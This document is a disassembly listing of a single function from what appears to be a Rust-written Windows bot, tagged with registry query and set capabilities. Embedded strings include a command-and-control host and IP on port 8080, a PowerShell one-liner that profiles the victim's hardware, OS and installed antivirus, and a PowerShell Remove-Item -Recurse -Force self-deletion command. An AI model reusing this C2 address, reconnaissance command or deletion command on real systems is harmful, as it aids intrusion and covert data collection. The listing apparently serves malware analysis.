Function at 0x140012153
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x948
movdqa xmmword [rsp + 0x930], xmm11
movdqa xmmword [rsp + 0x920], xmm10
movdqa xmmword [rsp + 0x910], xmm9
movaps xmmword [rsp + 0x900], xmm8
movaps xmmword [rsp + 0x8f0], xmm7
movaps xmmword [rsp + 0x8e0], xmm6
mov qword [rsp + 0x758], rcx
lea rcx, [rsp + 0x5d8]
call fcn.140019192
lea rax, [rsp + 0x6f0]
mov word [rax + 0x18], 0
xor r12d, r12d
mov qword [rax - 0x18], r12
mov ecx, 1
mov qword [rax - 0x10], rcx
mov ebp, 1
xorps xmm0, xmm0
movups xmmword [rax - 8], xmm0
mov edi, 8
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r12
lea rbx, [rsp + 0x2f0]
mov qword [rbx], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimePreciseAsFileTime]
mov rcx, qword [rbx]
movabs r8, 0x19db1ded53e8000
mov rdx, rcx
sub rdx, r8
neg rdx
movabs rax, 0xfe624e212ac18000
add rax, rcx
cmp rcx, r8
cmovl rax, rdx
movabs rdx, 0x384b84d092ed0385
mul rdx
shr rdx, 0x29
imul rax, rdx, 0xf4629
cmp rcx, r8
mov ecx, 0x657d2e6d
cmovge rcx, rax
imul rcx, rcx
lea r13, [rsp + 0x500]
mov qword [r13], rcx
lea r15, [rsp + 0x70]
mov qword [r15], r13
lea rsi, [fcn.140020c20]
mov qword [r15 + 8], rsi
lea rax, [0x14008afb8]
mov qword [rbx], rax
mov r14d, 2
mov qword [rbx + 8], r14
mov qword [rbx + 0x20], r12
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], rbp
lea rbx, [rsp + 0x270]
lea rbp, [rsp + 0x2f0]
mov rcx, rbx
mov rdx, rbp
call fcn.14001f780
lea rdx, [rsp + 0x130]
mov qword [rdx], r13
mov qword [rdx + 8], rsi
mov qword [rbp], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
mov qword [rbp + 0x20], r12
mov eax, 0x20
mov qword [rbp + 0x28], rax
mov cl, 3
mov byte [rbp + 0x30], cl
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x68], cl
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r14
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], rax
mov byte [rbp + 0xa0], cl
lea rax, str.raw.githubusercontent.com__main__b_
mov qword [r15], rax
mov eax, 3
mov qword [r15 + 8], rax
mov qword [r15 + 0x20], rbp
mov qword [r15 + 0x28], rax
mov qword [r15 + 0x10], rdx
mov eax, 1
mov qword [r15 + 0x18], rax
lea rsi, [rsp + 0x1d0]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.14001f780
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
movdqu xmm0, xmmword [rbx + 8]
lea rcx, [0x14008b048]
lea rdx, [rsp + 0x2c0]
mov qword [rdx], rcx
mov qword [rdx + 8], rdi
lea rcx, str.crazysync.com217.64.151.234:8080endpoint_
mov qword [rbp], rcx
mov qword [rbp + 8], 0xd
lea rcx, [0x14008b035]
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], 0x13
mov qword [rsp + 0x50], r8
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], rax
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 4
add rdi, rbp
mov qword [rsp + 0x7e8], rdi
lea rax, [rsp + 0x6f0]
mov r13, qword [rax + 0x10]
lea rax, [r13*8]
lea rbp, [rax + rax*2]
lea rax, [rsp + 0x220]
lea r15, [rsp + 0x530]
lea rbx, [r12 + r13]
movups xmm0, xmmword [rsp + r12*8 + 0x2f0]
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x130], rax
lea rcx, [0x14002b9f3]
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rax, [0x14008b050]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r14
mov rcx, r15
lea rdx, [rsp + 0x70]
call fcn.14001f780
mov rdi, qword [rsp + 0x6f0]
cmp rbx, rdi
jne 0x140012492
lea rcx, [rsp + 0x6f0]
call fcn.140060404
mov rdi, qword [rsp + 0x6f0]
mov rsi, qword [rsp + 0x6f8]
mov rax, qword [rsp + 0x540]
mov qword [rsi + rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x530]
movups xmmword [rsi + rbp], xmm0
inc rbx
mov qword [rsp + 0x700], rbx
lea rax, [rsp + 0x220]
mov qword [rsp + 0x130], rax
lea rcx, [0x14002b9f3]
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rax, [0x14008b070]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r14
mov rcx, r15
lea rdx, [rsp + 0x70]
call fcn.14001f780
cmp rbx, rdi
jne 0x140012551
lea rcx, [rsp + 0x6f0]
call fcn.140060404
mov rsi, qword [rsp + 0x6f8]
mov rax, qword [rsp + 0x540]
mov qword [rsi + rbp + 0x28], rax
movdqu xmm0, xmmword [rsp + 0x530]
movdqu xmmword [rsi + rbp + 0x18], xmm0
inc rbx
mov qword [rsp + 0x700], rbx
add r12, 2
add rbp, 0x30
cmp r12, 8
lea rax, [rsp + 0x220]
jne 0x1400123ea
cmp qword [rsp + 0x1d0], 0
je 0x1400125b1
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
lea r14, [rsp + 0x2f0]
lea r12, [rsp + 0x70]
je 0x1400125e0
mov r8, qword [rsp + 0x278]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x540], xmm0
lea rcx, [0x14000242e]
call fcn.140025ba0
mov byte [rsp + 0x590], 0
xor ecx, ecx
mov qword [rsp + 0x530], rcx
mov r8d, 1
mov qword [rsp + 0x538], r8
mov qword [rsp + 0x550], r8
mov qword [rsp + 0x558], rcx
movups xmm6, xmmword [0x1400b9040]
movups xmmword [rsp + 0x560], xmm6
movups xmm7, xmmword [0x1400b9050]
movups xmmword [rsp + 0x570], xmm7
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x588], rdx
mov word [rsp + 0x591], 0
mov al, byte [0x1400cdcc0]
mov edx, 0x2c
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
jne 0x140012687
mov ecx, 1
mov edx, 0x2c
call fcn.140083a40
mov rbx, rax
movups xmm0, xmmword [0x1400aaaec]
movups xmmword [rax + 0x1c], xmm0
movups xmm0, xmmword [0x1400aaae0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.GlobaleoKjMRUgWmqPayyjVjBg3dP30mtAnpIaAdminGlobaleoKjMRUgWmqPayyjVjBg3dP30mtAnpIaUserpowershell__Command_Remove_Item______Recurse__Force]
movups xmmword [rax], xmm0
mov al, byte [0x1400cdcc0]
mov edx, 0x2b
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
jne 0x1400126d0
mov ecx, 1
mov edx, 0x2b
call fcn.140083a40
mov rsi, rax
movups xmm0, xmmword [0x1400aab17]
movups xmmword [rax + 0x1b], xmm0
movups xmm0, xmmword [0x1400aab0c]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x1400aaafc]
movdqu xmmword [rax], xmm0
call fcn.14001ef40
test al, al
je 0x14001271c
lea rsi, [rsp + 0x2f0]
mov r8d, 0x2c
mov rcx, rsi
mov rdx, rbx
call fcn.140020a80
mov rcx, rsi
jmp 0x140012738
lea rdi, [rsp + 0x2f0]
mov r8d, 0x2b
mov rcx, rdi
mov rdx, rsi
call fcn.140020a80
mov rcx, rdi
xor edx, edx
call fcn.14001dc66
test al, al
je 0x140018e03
mov qword [rsp + 0x810], rbx
mov ecx, 0x3c
xor edx, edx
call fcn.140043d60
mov rax, qword [rsp + 0x758]
mov rcx, qword [rax + 0x90]
mov qword [rsp + 0x768], rcx
mov rcx, qword [rax + 0x98]
mov qword [rsp + 0x760], rcx
xorps xmm8, xmm8
pcmpeqd xmm9, xmm9
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x6a8], rcx
mov rcx, qword [rax + 0x38]
mov qword [rsp + 0x5d0], rcx
mov rcx, qword [rax + 0x48]
mov qword [rsp + 0x7c8], rcx
mov rcx, qword [rax + 0x50]
mov qword [rsp + 0x6a0], rcx
mov rcx, qword [rax + 0x120]
mov qword [rsp + 0x4f8], rcx
mov rcx, qword [rax + 0x128]
mov qword [rsp + 0x4f0], rcx
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x808], rcx
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x800], rcx
mov rcx, qword [rax + 0x60]
mov qword [rsp + 0x7f8], rcx
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x7f0], rax
mov eax, 0
mov qword [rsp + 0x260], rax
mov eax, 0
mov qword [rsp + 0x7b0], rax
mov eax, 0
mov qword [rsp + 0x7a8], rax
mov eax, 0
mov qword [rsp + 0x7a0], rax
mov eax, 0
mov qword [rsp + 0x798], rax
mov eax, 0
mov qword [rsp + 0x788], rax
mov eax, 0
mov qword [rsp + 0x790], rax
mov eax, 0
mov qword [rsp + 0x780], rax
mov eax, 0
mov qword [rsp + 0x778], rax
mov eax, 0
mov qword [rsp + 0x770], rax
mov eax, 0
mov qword [rsp + 0x620], rax
mov ebx, 0
mov eax, 1
mov qword [rsp + 0x4e8], rax
mov eax, 0
mov qword [rsp + 0x58], rax
mov eax, 1
mov qword [rsp + 0x628], rax
mov r13d, 0
mov qword [rsp + 0x630], rax
mov ebp, 0
mov qword [rsp + 0x638], rax
mov eax, 0
mov qword [rsp + 0x1c8], rax
mov eax, 1
mov qword [rsp + 0x640], rax
mov eax, 0
mov qword [rsp + 0x108], rax
mov eax, 1
mov qword [rsp + 0x648], rax
mov eax, 0
mov qword [rsp + 0x110], rax
mov eax, 1
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x268], 0
mov qword [rsp + 0x658], rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x660], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x100], 0
call fcn.14001ef40
test al, al
jne 0x1400129ad
mov r8d, 0x2c
mov rcx, r14
mov rdx, qword [rsp + 0x810]
call fcn.140020a80
mov rcx, r14
mov dl, 1
call fcn.14001dc66
test al, al
je 0x140018e03
cmp byte [rsp + 0x590], 0
je 0x1400129cc
lea rcx, [rsp + 0x6d8]
lea rdx, [rsp + 0x530]
call fcn.140009160
mov al, byte [rsp + 0x709]
cmp byte [rsp + 0x708], 0
je 0x1400129e6
test al, 1
je 0x1400129ee
jmp 0x140012b36
test al, 1
jne 0x140012b21
xor r15d, r15d
mov byte [rsp + 0x338], r15b
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], 1
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x330], r15
movabs rax, 0x8000000000000000
mov qword [rsp + 0x308], rax
mov r9d, 0x12
mov rcx, r12
mov rdx, r14
lea r8, str.http:__google.com_safemodeCOMPUTERNAMEUSERNAMEpowershell__Command___Get_ItemProperty_HKLM:SYSTEMControlSet001ControlClass4d36e968_e325_11ce_bfc1_08002be103180__ErrorAction_SilentlyContinue__ForEach_Object____.DriverDesc____join______Get_ItemProperty_HKLM:SYSTEMControlSet001ControlClass4d36e968_e325_11ce_bfc1_08002be103180__ErrorAction_SilentlyContinue__ForEach_Object___math_::round___.HardwareInformation.qwMemorySize_1MB_____join______Get_WmiObject_Win32_OperatingSystem__ForEach_Object_______.Caption________.OSArchitecture______join______Get_WmiObject_Win32_Processor__Select_Object__ExpandProperty_Name___join______Get_WmiObject_Win32_PhysicalMemory__ForEach_Object___math_::Round___.Capacity___1MB_____join______Get_WmiObject__Namespace_rootSecurityCenter2__Class_AntiVirusProduct__Select_Object__ExpandProperty_displayName___join____
call fcn.14000609f
mov ecx, 9
lea rdi, [rsp + 0x130]
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
lea rdx, [rsp + 0x160]
mov rax, qword [rdx + 0x10]
lea rcx, [rsp + 0x200]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov rax, qword [rdx - 8]
mov qword [rcx - 8], rax
movups xmm0, xmmword [rdx - 0x18]
movups xmmword [rcx - 0x18], xmm0
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1e0], rax
movdqu xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x1d0], xmm0
mov ecx, 9
mov rdi, r14
lea rsi, [rsp + 0x1d0]
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x338], r15b
mov rcx, r12
mov rdx, r14
call fcn.140006144
mov rax, qword [rsp + 0x70]
cmp rax, 1
jne 0x140012aed
mov byte [rsp + 0x708], 0
jmp 0x140012b19
mov byte [rsp + 0x708], 1
test rax, rax
jne 0x140012b19
cmp qword [rsp + 0x78], 0
je 0x140012b19
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call fcn.140002f50
lea rcx, [rsp + 0x6d8]
lea rdx, [rsp + 0x530]
call fcn.140009160
mov al, byte [rsp + 0x590]
test al, al
jne 0x140018d9c
cmp byte [rsp + 0x709], 0
je 0x140018d9c
xor esi, esi
mov qword [rsp + 0x598], rsi
mov qword [rsp + 0x5a0], 8
mov qword [rsp + 0x5a8], rsi
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5f0]
mov r8, qword [rsp + 0x4f8]
mov r9, qword [rsp + 0x4f0]
call fcn.140019710
mov qword [rsp + 0x2f0], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetSystemTimePreciseAsFileTime]
mov rcx, qword [rsp + 0x2f0]
mov rdx, rcx
movabs r8, 0x19db1ded53e8000
sub rdx, r8
neg rdx
movabs rax, 0xfe624e212ac18000
add rax, rcx
cmp rcx, r8
cmovl rax, rdx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
cmp rcx, r8
mov eax, 0x65633340
cmovl rdx, rax
mov rax, rdx
sub rax, rbx
cmp rax, 0x4b0
jb 0x140012c63
mov qword [rsp + 0x4d0], rbp
mov qword [rsp + 0x1b8], r13
mov qword [rsp + 0x7c0], rdx
mov qword [rsp + 0x1d0], 0
mov r8d, 0x10
mov rcx, r14
lea rdx, str.SOFTWAREClientsidsrc_botinfo.rs
call fcn.14001f210
mov rsi, qword [rsp + 0x2f0]
mov rax, rsi
neg rax
jno 0x140012d29
mov rbx, qword [rsp + 0x2f8]
mov rbp, qword [rsp + 0x300]
jmp 0x140012d52
mov qword [rsp + 0x7c0], rbx
mov rdi, qword [rsp + 0x4e8]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x4d0], r13
mov qword [rsp + 0x668], rbp
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x698], rax
mov rsi, qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x7b8], rax
mov ebx, 3
jmp 0x140013f91
call fcn.14001f4d0
mov rbx, rax
mov ebp, 1
test rsi, rsi
je 0x140012d52
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegCreateKeyExA
test eax, eax
je 0x140012dd7
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov rdi, rax
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov r12d, 7
mov eax, 7
mov qword [rsp + 0x4b0], rax
jmp 0x1400131a6
mov r8d, pe_nt_image_headers64
mov rcx, r14
xor edx, edx
call fcn.140082b20
mov dword [rsp + 0x270], pe_nt_image_headers64
mov r8d, 2
mov rcx, r12
lea rdx, [0x14008b440]
call fcn.14001f210
mov rsi, qword [rsp + 0x70]
mov rax, rsi
neg rax
jno 0x140012e23
mov r15, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
jmp 0x140012e49
call fcn.14001f4d0
mov r15, rax
mov edi, 1
test rsi, rsi
je 0x140012e49
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x1d0]
lea rax, [rsp + 0x270]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegQueryValueExA
test eax, eax
mov qword [rsp + 0x260], rdi
je 0x140012fad
mov qword [rsp + 0x470], r15
mov qword [rsp + 0x258], rbx
call fcn.14002bbc7
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], rax
lea r15, [rbx + 0x10]
mov r12, rbx
add r12, 0x120
mov edi, 0x20
mov r14d, 1
xor esi, esi
mov rax, qword [rbx + 0x110]
cmp rax, 0x40
jb 0x140012ee6
mov rcx, r12
mov rdx, r15
call fcn.14002bafe
xor eax, eax
mov ecx, dword [rbx + rax*4 + 0x10]
mov edx, ecx
shr edx, 0x1b
inc rax
mov qword [rbx + 0x110], rax
cmp edx, 0x1e
ja 0x140012ed3
shr ecx, 0x1a
lea rax, [0x14008a766]
mov r13b, byte [rcx + rax]
cmp rsi, qword [rsp + 0x70]
je 0x140012f2c
dec rdi
mov byte [r14 + rsi], r13b
inc rsi
mov qword [rsp + 0x80], rsi
test rdi, rdi
jne 0x140012ecc
jmp 0x140012f52
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov r8, rdi
call fcn.140084696
mov r14, qword [rsp + 0x78]
jmp 0x140012f13
mov rdi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov rcx, rbx
call fcn.1400272cc
mov r8d, 0x20
lea rsi, [rsp + 0x130]
mov rcx, rsi
mov rdx, r15
call fcn.140020a80
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.140004fc0
mov rsi, qword [rsp + 0x70]
mov rax, rsi
neg rax
jno 0x140013027
mov rbx, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
jmp 0x14001304e
mov r8d, dword [rsp + 0x270]
cmp r8, 0x101
jae 0x1400190ca
lea rcx, [rsp + 0x70]
mov rdx, r14
call fcn.14001f510
mov rsi, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call fcn.140003cc0
mov rcx, rax
call fcn.140003bac
test rdx, rdx
js 0x1400190d3
mov rdi, rax
mov r12, rdx
je 0x14001313c
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r12
call fcn.14005b1d0
test rax, rax
je 0x1400190a0
mov qword [rsp + 0x4b0], r12
jmp 0x14001314d
call fcn.14001f4d0
mov rbx, rax
mov r14d, 1
test rsi, rsi
je 0x14001304e
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x28], 0x21
mov rdx, qword [rsp + 0x470]
xor r8d, r8d
mov r9d, 1
call sub.ADVAPI32.dll_RegSetValueExA
mov edx, 0x20
mov rcx, r15
call fcn.140003cc0
mov rcx, rax
call fcn.140003bac
test rdx, rdx
js 0x140019091
mov rsi, rax
mov r12, rdx
je 0x1400130c2
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r12
call fcn.14005b1d0
test rax, rax
je 0x1400190a0
mov qword [rsp + 0x4b0], r12
jmp 0x1400130d3
mov eax, 1
mov qword [rsp + 0x4b0], 0
mov qword [rsp + 0x618], rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call fcn.140082480
mov byte [rbx], 0
test r14, r14
je 0x140013103
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
lea r14, [rsp + 0x2f0]
je 0x140013122
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x618]
mov rbx, qword [rsp + 0x258]
mov r15, qword [rsp + 0x470]
jmp 0x140013185
mov eax, 1
mov qword [rsp + 0x4b0], 0
mov rcx, rax
mov rdx, rdi
mov r8, r12
mov rdi, rax
call fcn.140082480
mov rax, qword [rsp + 0x70]
shl rax, 1
test rax, rax
je 0x14001317d
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x7e0], rdi
mov byte [r15], 0
cmp qword [rsp + 0x260], 0
je 0x1400131a6
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rbx], 0
test rbp, rbp
je 0x1400131c0
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x50], 0
mov rbp, qword [rsp + 0x1b8]
je 0x1400131e7
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x470], rdi
mov qword [rsp + 0x7b0], r12
mov qword [rsp + 0x130], 0
mov r8d, 0x4d
mov rcx, r14
lea rdx, str.SOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoiceProgId
call fcn.14001f210
mov rdi, qword [rsp + 0x2f0]
mov rax, rdi
neg rax
jno 0x14001323a
mov rsi, qword [rsp + 0x2f8]
mov r12, qword [rsp + 0x300]
jmp 0x140013264
call fcn.14001f4d0
mov rsi, rax
mov r12d, 1
test rdi, rdi
je 0x140013264
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, 6
mov rcx, r14
lea rdx, [0x14008b4bd]
call fcn.14001f210
mov rbx, qword [rsp + 0x2f0]
mov rax, rbx
neg rax
jno 0x14001329b
mov rdi, qword [rsp + 0x2f8]
mov r13, qword [rsp + 0x300]
jmp 0x1400132c5
call fcn.14001f4d0
mov rdi, rax
mov r13d, 1
test rbx, rbx
je 0x1400132c5
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rsp + 0x130]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
mov rdx, rsi
xor r8d, r8d
mov r9d, 0x20019
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
je 0x140013338
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x258], rax
mov dword [rax], 0x6e6b6e55
mov eax, 7
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x620], rax
jmp 0x1400134a0
mov r8d, pe_nt_image_headers64
mov rcx, r14
xor edx, edx
call fcn.140082b20
mov dword [rsp + 0x1d0], pe_nt_image_headers64
mov rcx, qword [rsp + 0x130]
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegQueryValueExA
test eax, eax
je 0x1400133c6
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x258], rax
mov dword [rax], 0x6e6b6e55
mov eax, 7
mov qword [rsp + 0x4d8], rax
mov ebp, 7
jmp 0x140013490
mov r8d, dword [rsp + 0x1d0]
cmp r8, 0x101
jae 0x1400190e2
lea rcx, [rsp + 0x70]
mov rdx, r14
call fcn.14001f510
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov rcx, rbx
call fcn.140003cc0
mov rcx, rax
call fcn.140003bac
test rdx, rdx
js 0x1400190f9
mov r15, rax
mov r8, rdx
je 0x14001343f
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov rbp, r8
call fcn.14005b1d0
test rax, rax
je 0x140019144
mov qword [rsp + 0x4d8], rbp
mov r8, rbp
jmp 0x140013450
mov eax, 1
mov qword [rsp + 0x4d8], 0
mov rcx, rax
mov rdx, r15
mov rbp, r8
mov r15, rax
call fcn.140082480
mov rax, qword [rsp + 0x70]
shl rax, 1
test rax, rax
je 0x140013480
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x7d8], r15
mov qword [rsp + 0x258], r15
mov qword [rsp + 0x620], rbp
mov rbp, qword [rsp + 0x1b8]
mov byte [rdi], 0
test r13, r13
je 0x1400134ba
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi], 0
test r12, r12
je 0x1400134d4
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x58], 0
lea r12, [rsp + 0x70]
je 0x1400134f8
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x4e8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, reloc.SHLWAPI.dll_SHCreateMemStream
mov rcx, r14
lea rdx, [0x14008b0aa]
call fcn.140048220
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov rsi, rax
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
neg rax
jo 0x140013579
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x140013585
mov rdx, qword [rsp + 0x2f8]
mov rsi, qword [rsp + 0x300]
mov rdi, qword [rsp + 0x308]
mov rax, r12
jmp 0x1400135a1
mov edx, 7
mov ebx, 7
jmp 0x1400135b9
mov edx, 7
mov rax, qword [rsp + 0x7e8]
mov edi, 7
mov ebx, 7
test rcx, rcx
je 0x1400135b9
mov rbx, rdx
mov r8, qword [rax]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, rdi
mov rcx, rsi
call fcn.140003cc0
test rdx, rdx
js 0x140018f93
mov rdi, rax
mov r8, rdx
je 0x1400135fb
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r15, r8
call fcn.14005b1d0
test rax, rax
je 0x140018f7a
mov qword [rsp + 0x698], r15
mov r8, r15
jmp 0x14001360c
mov eax, 1
mov qword [rsp + 0x698], 0
mov qword [rsp + 0x750], rax
mov rcx, rax
mov rdx, rdi
mov qword [rsp + 0x7a8], r8
call fcn.140082480
cmp qword [rsp + 0x60], 0
je 0x140013646
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x660]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x14001365d
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, 8
mov rcx, r14
lea rdx, [0x14008b0b6]
call fcn.140048220
